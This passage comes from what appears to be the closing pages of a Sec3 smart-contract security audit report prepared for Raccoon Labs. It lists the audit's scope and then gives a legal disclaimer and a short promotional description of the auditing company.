- Check common security issues.
- Check program logic implementation against available design specifications.
- Check poor coding practices and unsafe behavior.
- The soundness of the economics design and algorithm is out of scope of this work

DISCLAIMER

The instance report ("Report") was prepared pursuant to an agreement between Coderrect Inc. d/b/a Sec3 (the "Company") and Raccoon Labs Pte. Ltd. (the "Client"). This Report solely includes the results of a technical assessment of a specific build and/or version of the Client's code specified in the Report ("Assessed Code") by the Company. The sole purpose of the Report is to provide the Client with the results of the technical assessment of the Assessed Code. The Report does not apply to any other version and/or build of the Assessed Code. Regardless of the contents of the Report, the Report does not (and should not be interpreted to) provide any warranty, representation or covenant that the Assessed Code: (i) is error and/or bug free, (ii) has no security vulnerabilities, and/or (iii) does not infringe any third-party rights. Moreover, the Report is not, and should not be considered, an endorsement by the Company of the Assessed Code and/or of the Client. Finally, the Report should not be considered investment advice or a recommendation to invest in the Assessed Code and/or the Client.

This Report is considered null and void if the Report (or any portion thereof) is altered in any manner.

ABOUT

Founded by leading academics in the field of software security and senior industrial veterans, Sec3 (formerly Soteria) is a leading blockchain security company. We are also building sophisticated security tools that incorporate static analysis, penetration testing, and formal verification.

At Sec3, we identify and eliminate security vulnerabilities through the most rigorous process and aided by the most advanced analysis tools.

For more information, check out our website and follow us on twitter.

Sec3™